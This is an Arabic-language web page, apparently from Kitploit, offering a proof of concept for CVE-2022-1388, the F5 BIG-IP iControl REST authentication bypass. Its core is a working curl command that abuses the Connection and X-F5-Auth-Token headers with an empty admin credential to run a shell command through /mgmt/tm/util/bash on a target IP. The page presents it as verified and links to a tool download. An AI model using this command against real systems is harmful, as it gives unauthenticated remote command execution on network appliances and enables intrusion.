CVE-2022-1388 — K23605346: ثغرة BIG-IP iControl REST CVE-2022-1388 | Kitploit

مشاركة

CVE-2022-1388

ثغرة BIG-IP iControl REST CVE-2022-1388

الاستخدام

تم التحقق من هذا الـ POC!

poc poc

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \
    --data-binary $'{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}' \
    $'https://IP_HERE/mgmt/tm/util/bash'

المرجع

https://twitter.com/1ZRR4H/status/1522150111429726209 https://twitter.com/AnnaViolet20/status/1523564632140509184

تنزيل الأداة